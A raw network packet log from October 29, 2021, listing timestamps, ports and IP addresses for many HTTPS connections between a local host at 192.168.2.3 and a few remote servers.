Oct 29, 2021 14:10:47.807342052 CEST	50011	443	192.168.2.3	140.82.121.4
Oct 29, 2021 14:10:47.838684082 CEST	443	50009	140.82.121.4	192.168.2.3
Oct 29, 2021 14:10:47.838898897 CEST	443	50009	140.82.121.4	192.168.2.3
Oct 29, 2021 14:10:47.838948011 CEST	50009	443	192.168.2.3	140.82.121.4
Oct 29, 2021 14:10:47.838984013 CEST	50009	443	192.168.2.3	140.82.121.4
Oct 29, 2021 14:10:47.839411974 CEST	443	50010	140.82.121.4	192.168.2.3
Oct 29, 2021 14:10:47.839541912 CEST	443	50008	140.82.121.4	192.168.2.3
Oct 29, 2021 14:10:47.839589119 CEST	443	50010	140.82.121.4	192.168.2.3
Oct 29, 2021 14:10:47.839644909 CEST	50010	443	192.168.2.3	140.82.121.4
Oct 29, 2021 14:10:47.839679003 CEST	50010	443	192.168.2.3	140.82.121.4
Oct 29, 2021 14:10:47.839737892 CEST	443	50008	140.82.121.4	192.168.2.3
Oct 29, 2021 14:10:47.840007067 CEST	443	50011	140.82.121.4	192.168.2.3
Oct 29, 2021 14:10:47.840054035 CEST	443	50008	140.82.121.4	192.168.2.3
Oct 29, 2021 14:10:47.840080023 CEST	50008	443	192.168.2.3	140.82.121.4
Oct 29, 2021 14:10:47.840107918 CEST	50008	443	192.168.2.3	140.82.121.4
Oct 29, 2021 14:10:47.840169907 CEST	50011	443	192.168.2.3	140.82.121.4
Oct 29, 2021 14:10:47.840188026 CEST	443	50011	140.82.121.4	192.168.2.3
Oct 29, 2021 14:10:47.840210915 CEST	443	50011	140.82.121.4	192.168.2.3
Oct 29, 2021 14:10:47.840270996 CEST	50011	443	192.168.2.3	140.82.121.4
Oct 29, 2021 14:10:47.900485992 CEST	50009	443	192.168.2.3	140.82.121.4
Oct 29, 2021 14:10:47.900507927 CEST	443	50009	140.82.121.4	192.168.2.3
Oct 29, 2021 14:10:47.901192904 CEST	50010	443	192.168.2.3	140.82.121.4
Oct 29, 2021 14:10:47.901223898 CEST	443	50010	140.82.121.4	192.168.2.3
Oct 29, 2021 14:10:47.901777029 CEST	50008	443	192.168.2.3	140.82.121.4
Oct 29, 2021 14:10:47.901807070 CEST	443	50008	140.82.121.4	192.168.2.3
Oct 29, 2021 14:10:47.902328014 CEST	50011	443	192.168.2.3	140.82.121.4
Oct 29, 2021 14:10:47.902339935 CEST	443	50011	140.82.121.4	192.168.2.3
Oct 29, 2021 14:10:48.088726044 CEST	50017	443	192.168.2.3	185.199.109.133
Oct 29, 2021 14:10:48.088772058 CEST	443	50017	185.199.109.133	192.168.2.3
Oct 29, 2021 14:10:48.088874102 CEST	50017	443	192.168.2.3	185.199.109.133
Oct 29, 2021 14:10:48.089206934 CEST	50017	443	192.168.2.3	185.199.109.133
Oct 29, 2021 14:10:48.089232922 CEST	443	50017	185.199.109.133	192.168.2.3
Oct 29, 2021 14:10:48.128112078 CEST	443	50017	185.199.109.133	192.168.2.3
Oct 29, 2021 14:10:48.128519058 CEST	50017	443	192.168.2.3	185.199.109.133
Oct 29, 2021 14:10:48.129220009 CEST	443	50017	185.199.109.133	192.168.2.3
Oct 29, 2021 14:10:48.129734993 CEST	50017	443	192.168.2.3	185.199.109.133
Oct 29, 2021 14:10:48.129892111 CEST	443	50017	185.199.109.133	192.168.2.3
Oct 29, 2021 14:10:48.129894018 CEST	50017	443	192.168.2.3	185.199.109.133
Oct 29, 2021 14:10:48.157809019 CEST	443	50017	185.199.109.133	192.168.2.3
Oct 29, 2021 14:10:48.159663916 CEST	50017	443	192.168.2.3	185.199.109.133
Oct 29, 2021 14:10:48.163844109 CEST	50017	443	192.168.2.3	185.199.109.133
Oct 29, 2021 14:10:48.163865089 CEST	443	50017	185.199.109.133	192.168.2.3
Oct 29, 2021 14:10:48.324656963 CEST	50020	443	192.168.2.3	185.199.109.133
Oct 29, 2021 14:10:48.324708939 CEST	443	50020	185.199.109.133	192.168.2.3
Oct 29, 2021 14:10:48.325169086 CEST	50020	443	192.168.2.3	185.199.109.133
Oct 29, 2021 14:10:48.325942039 CEST	50020	443	192.168.2.3	185.199.109.133
Oct 29, 2021 14:10:48.325968981 CEST	443	50020	185.199.109.133	192.168.2.3
Oct 29, 2021 14:10:48.326802969 CEST	50021	443	192.168.2.3	185.199.109.133
Oct 29, 2021 14:10:48.326858997 CEST	443	50021	185.199.109.133	192.168.2.3
Oct 29, 2021 14:10:48.327301979 CEST	50022	443	192.168.2.3	185.199.109.133
Oct 29, 2021 14:10:48.327353001 CEST	443	50022	185.199.109.133	192.168.2.3
Oct 29, 2021 14:10:48.327403069 CEST	50021	443	192.168.2.3	185.199.109.133
Oct 29, 2021 14:10:48.327896118 CEST	50023	443	192.168.2.3	185.199.109.133
Oct 29, 2021 14:10:48.327919006 CEST	50022	443	192.168.2.3	185.199.109.133
Oct 29, 2021 14:10:48.327959061 CEST	443	50023	185.199.109.133	192.168.2.3
Oct 29, 2021 14:10:48.328032017 CEST	50023	443	192.168.2.3	185.199.109.133
Oct 29, 2021 14:10:48.328181982 CEST	50021	443	192.168.2.3	185.199.109.133
Oct 29, 2021 14:10:48.328211069 CEST	443	50021	185.199.109.133	192.168.2.3
Oct 29, 2021 14:10:48.328326941 CEST	50022	443	192.168.2.3	185.199.109.133
Oct 29, 2021 14:10:48.328352928 CEST	443	50022	185.199.109.133	192.168.2.3
Oct 29, 2021 14:10:48.328458071 CEST	50023	443	192.168.2.3	185.199.109.133
Oct 29, 2021 14:10:48.328488111 CEST	443	50023	185.199.109.133	192.168.2.3
Oct 29, 2021 14:10:48.361638069 CEST	443	50020	185.199.109.133	192.168.2.3
Oct 29, 2021 14:10:48.361985922 CEST	50020	443	192.168.2.3	185.199.109.133
Oct 29, 2021 14:10:48.363167048 CEST	443	50020	185.199.109.133	192.168.2.3
Oct 29, 2021 14:10:48.363478899 CEST	443	50022	185.199.109.133	192.168.2.3
Oct 29, 2021 14:10:48.363559961 CEST	443	50021	185.199.109.133	192.168.2.3
Oct 29, 2021 14:10:48.363678932 CEST	50020	443	192.168.2.3	185.199.109.133
Oct 29, 2021 14:10:48.363892078 CEST	50022	443	192.168.2.3	185.199.109.133
Oct 29, 2021 14:10:48.363925934 CEST	443	50023	185.199.109.133	192.168.2.3
Oct 29, 2021 14:10:48.363929987 CEST	443	50020	185.199.109.133	192.168.2.3
Oct 29, 2021 14:10:48.364275932 CEST	50021	443	192.168.2.3	185.199.109.133
Oct 29, 2021 14:10:48.364460945 CEST	50023	443	192.168.2.3	185.199.109.133
Oct 29, 2021 14:10:48.364650965 CEST	50020	443	192.168.2.3	185.199.109.133
Oct 29, 2021 14:10:48.365077972 CEST	443	50021	185.199.109.133	192.168.2.3
Oct 29, 2021 14:10:48.365622997 CEST	50021	443	192.168.2.3	185.199.109.133
Oct 29, 2021 14:10:48.365783930 CEST	443	50021	185.199.109.133	192.168.2.3
Oct 29, 2021 14:10:48.365869999 CEST	50021	443	192.168.2.3	185.199.109.133
Oct 29, 2021 14:10:48.366787910 CEST	443	50022	185.199.109.133	192.168.2.3
Oct 29, 2021 14:10:48.366889000 CEST	50022	443	192.168.2.3	185.199.109.133
Oct 29, 2021 14:10:48.367350101 CEST	50022	443	192.168.2.3	185.199.109.133
Oct 29, 2021 14:10:48.367486000 CEST	50022	443	192.168.2.3	185.199.109.133
Oct 29, 2021 14:10:48.367500067 CEST	443	50022	185.199.109.133	192.168.2.3
Oct 29, 2021 14:10:48.367525101 CEST	443	50022	185.199.109.133	192.168.2.3
Oct 29, 2021 14:10:48.367623091 CEST	443	50023	185.199.109.133	192.168.2.3
Oct 29, 2021 14:10:48.367713928 CEST	50023	443	192.168.2.3	185.199.109.133
Oct 29, 2021 14:10:48.368132114 CEST	50023	443	192.168.2.3	185.199.109.133
Oct 29, 2021 14:10:48.368257046 CEST	50023	443	192.168.2.3	185.199.109.133
Oct 29, 2021 14:10:48.368274927 CEST	443	50023	185.199.109.133	192.168.2.3
Oct 29, 2021 14:10:48.368592024 CEST	443	50023	185.199.109.133	192.168.2.3
Oct 29, 2021 14:10:48.391861916 CEST	443	50020	185.199.109.133	192.168.2.3
Oct 29, 2021 14:10:48.392004013 CEST	443	50020	185.199.109.133	192.168.2.3
Oct 29, 2021 14:10:48.392499924 CEST	50020	443	192.168.2.3	185.199.109.133
Oct 29, 2021 14:10:48.393488884 CEST	443	50023	185.199.109.133	192.168.2.3
Oct 29, 2021 14:10:48.393726110 CEST	443	50021	185.199.109.133	192.168.2.3
Oct 29, 2021 14:10:48.393769026 CEST	50023	443	192.168.2.3	185.199.109.133
Oct 29, 2021 14:10:48.393830061 CEST	50021	443	192.168.2.3	185.199.109.133
Oct 29, 2021 14:10:48.393987894 CEST	443	50022	185.199.109.133	192.168.2.3
Oct 29, 2021 14:10:48.394218922 CEST	50020	443	192.168.2.3	185.199.109.133
Oct 29, 2021 14:10:48.394239902 CEST	443	50020	185.199.109.133	192.168.2.3
Oct 29, 2021 14:10:48.394239902 CEST	50022	443	192.168.2.3	185.199.109.133
Oct 29, 2021 14:10:48.394256115 CEST	50020	443	192.168.2.3	185.199.109.133
Oct 29, 2021 14:10:48.395138979 CEST	50020	443	192.168.2.3	185.199.109.133
Oct 29, 2021 14:10:48.395221949 CEST	50023	443	192.168.2.3	185.199.109.133
Oct 29, 2021 14:10:48.395251989 CEST	443	50023	185.199.109.133	192.168.2.3
Oct 29, 2021 14:10:48.395442009 CEST	50022	443	192.168.2.3	185.199.109.133
Oct 29, 2021 14:10:48.395473003 CEST	443	50022	185.199.109.133	192.168.2.3
Oct 29, 2021 14:10:48.395564079 CEST	50021	443	192.168.2.3	185.199.109.133
Oct 29, 2021 14:10:48.395593882 CEST	443	50021	185.199.109.133	192.168.2.3
Oct 29, 2021 14:10:49.562091112 CEST	443	49680	13.107.5.88	192.168.2.3
Oct 29, 2021 14:10:50.505896091 CEST	50034	443	192.168.2.3	140.82.121.4
Oct 29, 2021 14:10:50.505928040 CEST	443	50034	140.82.121.4	192.168.2.3
Oct 29, 2021 14:10:50.506007910 CEST	50034	443	192.168.2.3	140.82.121.4
Oct 29, 2021 14:10:50.515067101 CEST	50034	443	192.168.2.3	140.82.121.4
Oct 29, 2021 14:10:50.515090942 CEST	443	50034	140.82.121.4	192.168.2.3
Oct 29, 2021 14:10:50.529820919 CEST	50036	443	192.168.2.3	140.82.121.4
Oct 29, 2021 14:10:50.529874086 CEST	443	50036	140.82.121.4	192.168.2.3
Oct 29, 2021 14:10:50.529964924 CEST	50036	443	192.168.2.3	140.82.121.4
Oct 29, 2021 14:10:50.530219078 CEST	50036	443	192.168.2.3	140.82.121.4
Oct 29, 2021 14:10:50.530252934 CEST	443	50036	140.82.121.4	192.168.2.3
Oct 29, 2021 14:10:50.553122044 CEST	443	50034	140.82.121.4	192.168.2.3
Oct 29, 2021 14:10:50.553231001 CEST	50034	443	192.168.2.3	140.82.121.4
Oct 29, 2021 14:10:50.558284044 CEST	50034	443	192.168.2.3	140.82.121.4
Oct 29, 2021 14:10:50.558296919 CEST	443	50034	140.82.121.4	192.168.2.3
Oct 29, 2021 14:10:50.559952021 CEST	50034	443	192.168.2.3	140.82.121.4
Oct 29, 2021 14:10:50.559964895 CEST	443	50034	140.82.121.4	192.168.2.3
Oct 29, 2021 14:10:50.567776918 CEST	443	50036	140.82.121.4	192.168.2.3
Oct 29, 2021 14:10:50.567924976 CEST	50036	443	192.168.2.3	140.82.121.4
Oct 29, 2021 14:10:50.568434000 CEST	50036	443	192.168.2.3	140.82.121.4
Oct 29, 2021 14:10:50.570137978 CEST	50036	443	192.168.2.3	140.82.121.4
Oct 29, 2021 14:10:50.570156097 CEST	443	50036	140.82.121.4	192.168.2.3
Oct 29, 2021 14:10:50.591315985 CEST	443	50034	140.82.121.4	192.168.2.3
Oct 29, 2021 14:10:50.591511965 CEST	443	50034	140.82.121.4	192.168.2.3
Oct 29, 2021 14:10:50.591595888 CEST	443	50034	140.82.121.4	192.168.2.3
Oct 29, 2021 14:10:50.591600895 CEST	50034	443	192.168.2.3	140.82.121.4
Oct 29, 2021 14:10:50.591651917 CEST	50034	443	192.168.2.3	140.82.121.4
Oct 29, 2021 14:10:50.594027042 CEST	50034	443	192.168.2.3	140.82.121.4
Oct 29, 2021 14:10:50.594057083 CEST	443	50034	140.82.121.4	192.168.2.3
Oct 29, 2021 14:10:50.594791889 CEST	50038	443	192.168.2.3	185.199.108.133
Oct 29, 2021 14:10:50.594845057 CEST	443	50038	185.199.108.133	192.168.2.3
Oct 29, 2021 14:10:50.594918966 CEST	50038	443	192.168.2.3	185.199.108.133
Oct 29, 2021 14:10:50.595113039 CEST	50039	443	192.168.2.3	140.82.121.4
Oct 29, 2021 14:10:50.595164061 CEST	443	50039	140.82.121.4	192.168.2.3
Oct 29, 2021 14:10:50.595230103 CEST	50039	443	192.168.2.3	140.82.121.4
Oct 29, 2021 14:10:50.595397949 CEST	50038	443	192.168.2.3	185.199.108.133
Oct 29, 2021 14:10:50.595422983 CEST	443	50038	185.199.108.133	192.168.2.3
Oct 29, 2021 14:10:50.595511913 CEST	50039	443	192.168.2.3	140.82.121.4
Oct 29, 2021 14:10:50.595561028 CEST	443	50039	140.82.121.4	192.168.2.3
Oct 29, 2021 14:10:50.629911900 CEST	443	50036	140.82.121.4	192.168.2.3
Oct 29, 2021 14:10:50.630058050 CEST	50036	443	192.168.2.3	140.82.121.4
Oct 29, 2021 14:10:50.630114079 CEST	443	50036	140.82.121.4	192.168.2.3
Oct 29, 2021 14:10:50.630183935 CEST	50036	443	192.168.2.3	140.82.121.4
Oct 29, 2021 14:10:50.630204916 CEST	443	50036	140.82.121.4	192.168.2.3
Oct 29, 2021 14:10:50.630228043 CEST	443	50036	140.82.121.4	192.168.2.3
Oct 29, 2021 14:10:50.630264044 CEST	50036	443	192.168.2.3	140.82.121.4
Oct 29, 2021 14:10:50.630295992 CEST	50036	443	192.168.2.3	140.82.121.4
Oct 29, 2021 14:10:50.630851984 CEST	443	50038	185.199.108.133	192.168.2.3
Oct 29, 2021 14:10:50.631014109 CEST	50038	443	192.168.2.3	185.199.108.133
Oct 29, 2021 14:10:50.631943941 CEST	50036	443	192.168.2.3	140.82.121.4
Oct 29, 2021 14:10:50.631968021 CEST	443	50036	140.82.121.4	192.168.2.3
Oct 29, 2021 14:10:50.632534027 CEST	50043	443	192.168.2.3	185.199.108.133
Oct 29, 2021 14:10:50.632572889 CEST	443	50043	185.199.108.133	192.168.2.3
Oct 29, 2021 14:10:50.632621050 CEST	443	50039	140.82.121.4	192.168.2.3
Oct 29, 2021 14:10:50.632765055 CEST	50044	443	192.168.2.3	140.82.121.4
Oct 29, 2021 14:10:50.632771969 CEST	50039	443	192.168.2.3	140.82.121.4
Oct 29, 2021 14:10:50.632795095 CEST	443	50044	140.82.121.4	192.168.2.3
Oct 29, 2021 14:10:50.632827044 CEST	50043	443	192.168.2.3	185.199.108.133
Oct 29, 2021 14:10:50.632878065 CEST	50044	443	192.168.2.3	140.82.121.4
Oct 29, 2021 14:10:50.633421898 CEST	50039	443	192.168.2.3	140.82.121.4
Oct 29, 2021 14:10:50.635066986 CEST	50038	443	192.168.2.3	185.199.108.133
Oct 29, 2021 14:10:50.635276079 CEST	50039	443	192.168.2.3	140.82.121.4
Oct 29, 2021 14:10:50.635299921 CEST	443	50039	140.82.121.4	192.168.2.3
Oct 29, 2021 14:10:50.642162085 CEST	50038	443	192.168.2.3	185.199.108.133
Oct 29, 2021 14:10:50.642242908 CEST	443	50038	185.199.108.133	192.168.2.3
Oct 29, 2021 14:10:50.642570019 CEST	50043	443	192.168.2.3	185.199.108.133
Oct 29, 2021 14:10:50.642599106 CEST	443	50043	185.199.108.133	192.168.2.3
Oct 29, 2021 14:10:50.642819881 CEST	50044	443	192.168.2.3	140.82.121.4
Oct 29, 2021 14:10:50.642872095 CEST	443	50044	140.82.121.4	192.168.2.3
Oct 29, 2021 14:10:50.661289930 CEST	443	50038	185.199.108.133	192.168.2.3
Oct 29, 2021 14:10:50.661427021 CEST	50038	443	192.168.2.3	185.199.108.133
Oct 29, 2021 14:10:50.661489964 CEST	443	50038	185.199.108.133	192.168.2.3
Oct 29, 2021 14:10:50.661554098 CEST	50038	443	192.168.2.3	185.199.108.133
Oct 29, 2021 14:10:50.661587000 CEST	443	50038	185.199.108.133	192.168.2.3
Oct 29, 2021 14:10:50.661648989 CEST	50038	443	192.168.2.3	185.199.108.133
Oct 29, 2021 14:10:50.661712885 CEST	443	50038	185.199.108.133	192.168.2.3
Oct 29, 2021 14:10:50.661835909 CEST	443	50038	185.199.108.133	192.168.2.3
Oct 29, 2021 14:10:50.661843061 CEST	50038	443	192.168.2.3	185.199.108.133
Oct 29, 2021 14:10:50.661905050 CEST	50038	443	192.168.2.3	185.199.108.133
Oct 29, 2021 14:10:50.663683891 CEST	50038	443	192.168.2.3	185.199.108.133
Oct 29, 2021 14:10:50.663708925 CEST	443	50038	185.199.108.133	192.168.2.3
Oct 29, 2021 14:10:50.669982910 CEST	443	50039	140.82.121.4	192.168.2.3
Oct 29, 2021 14:10:50.670156002 CEST	443	50039	140.82.121.4	192.168.2.3
Oct 29, 2021 14:10:50.670233965 CEST	443	50039	140.82.121.4	192.168.2.3
Oct 29, 2021 14:10:50.670234919 CEST	50039	443	192.168.2.3	140.82.121.4
Oct 29, 2021 14:10:50.670311928 CEST	50039	443	192.168.2.3	140.82.121.4
Oct 29, 2021 14:10:50.670409918 CEST	50039	443	192.168.2.3	140.82.121.4
Oct 29, 2021 14:10:50.670442104 CEST	443	50039	140.82.121.4	192.168.2.3
Oct 29, 2021 14:10:50.670455933 CEST	50039	443	192.168.2.3	140.82.121.4
Oct 29, 2021 14:10:50.670511007 CEST	50039	443	192.168.2.3	140.82.121.4
Oct 29, 2021 14:10:50.671662092 CEST	50045	443	192.168.2.3	185.199.108.133
Oct 29, 2021 14:10:50.671729088 CEST	443	50045	185.199.108.133	192.168.2.3
Oct 29, 2021 14:10:50.671766043 CEST	50046	443	192.168.2.3	140.82.121.4
Oct 29, 2021 14:10:50.671818018 CEST	443	50046	140.82.121.4	192.168.2.3
Oct 29, 2021 14:10:50.671854973 CEST	50045	443	192.168.2.3	185.199.108.133
Oct 29, 2021 14:10:50.671890974 CEST	50046	443	192.168.2.3	140.82.121.4
Oct 29, 2021 14:10:50.672018051 CEST	50045	443	192.168.2.3	185.199.108.133
Oct 29, 2021 14:10:50.672048092 CEST	443	50045	185.199.108.133	192.168.2.3
Oct 29, 2021 14:10:50.677212954 CEST	443	50043	185.199.108.133	192.168.2.3
Oct 29, 2021 14:10:50.677318096 CEST	50043	443	192.168.2.3	185.199.108.133
Oct 29, 2021 14:10:50.677831888 CEST	50043	443	192.168.2.3	185.199.108.133
Oct 29, 2021 14:10:50.679646969 CEST	50043	443	192.168.2.3	185.199.108.133
Oct 29, 2021 14:10:50.679706097 CEST	443	50043	185.199.108.133	192.168.2.3
Oct 29, 2021 14:10:50.680222034 CEST	443	50044	140.82.121.4	192.168.2.3
Oct 29, 2021 14:10:50.680305958 CEST	50044	443	192.168.2.3	140.82.121.4
Oct 29, 2021 14:10:50.680649042 CEST	50044	443	192.168.2.3	140.82.121.4
Oct 29, 2021 14:10:50.682552099 CEST	50044	443	192.168.2.3	140.82.121.4
Oct 29, 2021 14:10:50.682569981 CEST	443	50044	140.82.121.4	192.168.2.3
Oct 29, 2021 14:10:50.683981895 CEST	50046	443	192.168.2.3	140.82.121.4
Oct 29, 2021 14:10:50.684016943 CEST	443	50046	140.82.121.4	192.168.2.3
Oct 29, 2021 14:10:50.706801891 CEST	443	50043	185.199.108.133	192.168.2.3
Oct 29, 2021 14:10:50.706892014 CEST	50043	443	192.168.2.3	185.199.108.133
Oct 29, 2021 14:10:50.706912994 CEST	443	50043	185.199.108.133	192.168.2.3
Oct 29, 2021 14:10:50.706939936 CEST	443	50043	185.199.108.133	192.168.2.3
Oct 29, 2021 14:10:50.706995964 CEST	443	50045	185.199.108.133	192.168.2.3
Oct 29, 2021 14:10:50.706998110 CEST	50043	443	192.168.2.3	185.199.108.133
Oct 29, 2021 14:10:50.707012892 CEST	443	50043	185.199.108.133	192.168.2.3
Oct 29, 2021 14:10:50.707024097 CEST	50043	443	192.168.2.3	185.199.108.133
Oct 29, 2021 14:10:50.707240105 CEST	50045	443	192.168.2.3	185.199.108.133
Oct 29, 2021 14:10:50.707813978 CEST	50045	443	192.168.2.3	185.199.108.133
Oct 29, 2021 14:10:50.710248947 CEST	50045	443	192.168.2.3	185.199.108.133
Oct 29, 2021 14:10:50.710323095 CEST	443	50045	185.199.108.133	192.168.2.3
Oct 29, 2021 14:10:50.720742941 CEST	443	50046	140.82.121.4	192.168.2.3
Oct 29, 2021 14:10:50.720952988 CEST	50046	443	192.168.2.3	140.82.121.4
Oct 29, 2021 14:10:50.721111059 CEST	443	50044	140.82.121.4	192.168.2.3
Oct 29, 2021 14:10:50.721185923 CEST	50044	443	192.168.2.3	140.82.121.4
Oct 29, 2021 14:10:50.721247911 CEST	443	50044	140.82.121.4	192.168.2.3
Oct 29, 2021 14:10:50.721329927 CEST	443	50044	140.82.121.4	192.168.2.3
Oct 29, 2021 14:10:50.721395969 CEST	50044	443	192.168.2.3	140.82.121.4
Oct 29, 2021 14:10:50.723901987 CEST	50044	443	192.168.2.3	140.82.121.4
Oct 29, 2021 14:10:50.723922968 CEST	443	50044	140.82.121.4	192.168.2.3
Oct 29, 2021 14:10:50.729325056 CEST	50049	443	192.168.2.3	185.199.108.133
Oct 29, 2021 14:10:50.729352951 CEST	443	50049	185.199.108.133	192.168.2.3
Oct 29, 2021 14:10:50.729441881 CEST	50049	443	192.168.2.3	185.199.108.133
Oct 29, 2021 14:10:50.729661942 CEST	50049	443	192.168.2.3	185.199.108.133
Oct 29, 2021 14:10:50.729672909 CEST	443	50049	185.199.108.133	192.168.2.3
Oct 29, 2021 14:10:50.737147093 CEST	443	50045	185.199.108.133	192.168.2.3
Oct 29, 2021 14:10:50.737227917 CEST	50045	443	192.168.2.3	185.199.108.133
Oct 29, 2021 14:10:50.737250090 CEST	443	50045	185.199.108.133	192.168.2.3
Oct 29, 2021 14:10:50.737893105 CEST	50045	443	192.168.2.3	185.199.108.133
Oct 29, 2021 14:10:50.758364916 CEST	50046	443	192.168.2.3	140.82.121.4
Oct 29, 2021 14:10:50.760890961 CEST	50046	443	192.168.2.3	140.82.121.4
Oct 29, 2021 14:10:50.760925055 CEST	443	50046	140.82.121.4	192.168.2.3
Oct 29, 2021 14:10:50.770102978 CEST	443	50049	185.199.108.133	192.168.2.3
Oct 29, 2021 14:10:50.770961046 CEST	50049	443	192.168.2.3	185.199.108.133
Oct 29, 2021 14:10:50.776386976 CEST	50049	443	192.168.2.3	185.199.108.133
Oct 29, 2021 14:10:50.776411057 CEST	443	50049	185.199.108.133	192.168.2.3
Oct 29, 2021 14:10:50.778067112 CEST	50049	443	192.168.2.3	185.199.108.133
Oct 29, 2021 14:10:50.778079987 CEST	443	50049	185.199.108.133	192.168.2.3
Oct 29, 2021 14:10:50.788640976 CEST	443	50046	140.82.121.4	192.168.2.3
Oct 29, 2021 14:10:50.788902044 CEST	443	50046	140.82.121.4	192.168.2.3
Oct 29, 2021 14:10:50.788912058 CEST	50046	443	192.168.2.3	140.82.121.4
Oct 29, 2021 14:10:50.788954020 CEST	443	50046	140.82.121.4	192.168.2.3
Oct 29, 2021 14:10:50.788979053 CEST	50046	443	192.168.2.3	140.82.121.4
Oct 29, 2021 14:10:50.789025068 CEST	50046	443	192.168.2.3	140.82.121.4
Oct 29, 2021 14:10:50.789041042 CEST	443	50046	140.82.121.4	192.168.2.3
Oct 29, 2021 14:10:50.789079905 CEST	443	50046	140.82.121.4	192.168.2.3
Oct 29, 2021 14:10:50.789100885 CEST	50046	443	192.168.2.3	140.82.121.4
Oct 29, 2021 14:10:50.789139986 CEST	50046	443	192.168.2.3	140.82.121.4
Oct 29, 2021 14:10:50.790726900 CEST	50046	443	192.168.2.3	140.82.121.4
Oct 29, 2021 14:10:50.790747881 CEST	443	50046	140.82.121.4	192.168.2.3
Oct 29, 2021 14:10:50.799841881 CEST	443	50049	185.199.108.133	192.168.2.3
Oct 29, 2021 14:10:50.799963951 CEST	443	50049	185.199.108.133	192.168.2.3
Oct 29, 2021 14:10:50.800071955 CEST	50049	443	192.168.2.3	185.199.108.133
Oct 29, 2021 14:10:50.801513910 CEST	50049	443	192.168.2.3	185.199.108.133
Oct 29, 2021 14:10:50.801552057 CEST	443	50049	185.199.108.133	192.168.2.3
Oct 29, 2021 14:10:50.801613092 CEST	50049	443	192.168.2.3	185.199.108.133
Oct 29, 2021 14:10:50.801644087 CEST	50049	443	192.168.2.3	185.199.108.133
Oct 29, 2021 14:10:50.802135944 CEST	50050	443	192.168.2.3	185.199.108.133
Oct 29, 2021 14:10:50.802165031 CEST	443	50050	185.199.108.133	192.168.2.3
Oct 29, 2021 14:10:50.802285910 CEST	50050	443	192.168.2.3	185.199.108.133
Oct 29, 2021 14:10:50.808032990 CEST	50050	443	192.168.2.3	185.199.108.133
Oct 29, 2021 14:10:50.808059931 CEST	443	50050	185.199.108.133	192.168.2.3
Oct 29, 2021 14:10:50.825078011 CEST	50045	443	192.168.2.3	185.199.108.133
Oct 29, 2021 14:10:50.825117111 CEST	443	50045	185.199.108.133	192.168.2.3
Oct 29, 2021 14:10:50.825131893 CEST	50045	443	192.168.2.3	185.199.108.133
Oct 29, 2021 14:10:50.825310946 CEST	50045	443	192.168.2.3	185.199.108.133
Oct 29, 2021 14:10:50.843146086 CEST	443	50050	185.199.108.133	192.168.2.3
Oct 29, 2021 14:10:50.843234062 CEST	50050	443	192.168.2.3	185.199.108.133
Oct 29, 2021 14:10:50.848279953 CEST	50050	443	192.168.2.3	185.199.108.133
Oct 29, 2021 14:10:50.850238085 CEST	50050	443	192.168.2.3	185.199.108.133
Oct 29, 2021 14:10:50.850290060 CEST	443	50050	185.199.108.133	192.168.2.3
Oct 29, 2021 14:10:50.873188019 CEST	443	50050	185.199.108.133	192.168.2.3
Oct 29, 2021 14:10:50.873312950 CEST	443	50050	185.199.108.133	192.168.2.3
Oct 29, 2021 14:10:50.873399973 CEST	50050	443	192.168.2.3	185.199.108.133
Oct 29, 2021 14:10:50.881227970 CEST	50050	443	192.168.2.3	185.199.108.133
Oct 29, 2021 14:10:50.881244898 CEST	443	50050	185.199.108.133	192.168.2.3
Oct 29, 2021 14:10:50.881256104 CEST	50050	443	192.168.2.3	185.199.108.133
Oct 29, 2021 14:10:50.881323099 CEST	50050	443	192.168.2.3	185.199.108.133
Oct 29, 2021 14:10:51.062935114 CEST	50053	443	192.168.2.3	140.82.121.4
Oct 29, 2021 14:10:51.062994957 CEST	443	50053	140.82.121.4	192.168.2.3
Oct 29, 2021 14:10:51.063092947 CEST	50053	443	192.168.2.3	140.82.121.4
Oct 29, 2021 14:10:51.063350916 CEST	50053	443	192.168.2.3	140.82.121.4
Oct 29, 2021 14:10:51.063380003 CEST	443	50053	140.82.121.4	192.168.2.3
Oct 29, 2021 14:10:51.095523119 CEST	50054	443	192.168.2.3	140.82.121.4
Oct 29, 2021 14:10:51.095577955 CEST	443	50054	140.82.121.4	192.168.2.3
Oct 29, 2021 14:10:51.095726013 CEST	50054	443	192.168.2.3	140.82.121.4
Oct 29, 2021 14:10:51.095949888 CEST	50054	443	192.168.2.3	140.82.121.4
Oct 29, 2021 14:10:51.095978975 CEST	443	50054	140.82.121.4	192.168.2.3
Oct 29, 2021 14:10:51.100502968 CEST	443	50053	140.82.121.4	192.168.2.3
Oct 29, 2021 14:10:51.101166010 CEST	50053	443	192.168.2.3	140.82.121.4
Oct 29, 2021 14:10:51.101878881 CEST	443	50053	140.82.121.4	192.168.2.3
Oct 29, 2021 14:10:51.103693962 CEST	50053	443	192.168.2.3	140.82.121.4
Oct 29, 2021 14:10:51.103724003 CEST	50053	443	192.168.2.3	140.82.121.4
Oct 29, 2021 14:10:51.103739023 CEST	443	50053	140.82.121.4	192.168.2.3
Oct 29, 2021 14:10:51.103877068 CEST	443	50053	140.82.121.4	192.168.2.3
Oct 29, 2021 14:10:51.133820057 CEST	443	50054	140.82.121.4	192.168.2.3
Oct 29, 2021 14:10:51.135971069 CEST	50054	443	192.168.2.3	140.82.121.4
Oct 29, 2021 14:10:51.136029959 CEST	443	50054	140.82.121.4	192.168.2.3
Oct 29, 2021 14:10:51.136742115 CEST	443	50054	140.82.121.4	192.168.2.3
Oct 29, 2021 14:10:51.140330076 CEST	443	50053	140.82.121.4	192.168.2.3
Oct 29, 2021 14:10:51.140552044 CEST	443	50053	140.82.121.4	192.168.2.3
Oct 29, 2021 14:10:51.140594959 CEST	50054	443	192.168.2.3	140.82.121.4
Oct 29, 2021 14:10:51.140734911 CEST	50053	443	192.168.2.3	140.82.121.4
Oct 29, 2021 14:10:51.141000986 CEST	50054	443	192.168.2.3	140.82.121.4
Oct 29, 2021 14:10:51.141020060 CEST	443	50054	140.82.121.4	192.168.2.3
Oct 29, 2021 14:10:51.141096115 CEST	443	50054	140.82.121.4	192.168.2.3
Oct 29, 2021 14:10:51.148154020 CEST	50053	443	192.168.2.3	140.82.121.4
Oct 29, 2021 14:10:51.148190022 CEST	443	50053	140.82.121.4	192.168.2.3
Oct 29, 2021 14:10:51.171634912 CEST	443	50054	140.82.121.4	192.168.2.3
Oct 29, 2021 14:10:51.171737909 CEST	50054	443	192.168.2.3	140.82.121.4
Oct 29, 2021 14:10:51.171782970 CEST	443	50054	140.82.121.4	192.168.2.3
Oct 29, 2021 14:10:51.172050953 CEST	443	50054	140.82.121.4	192.168.2.3
Oct 29, 2021 14:10:51.172911882 CEST	50054	443	192.168.2.3	140.82.121.4
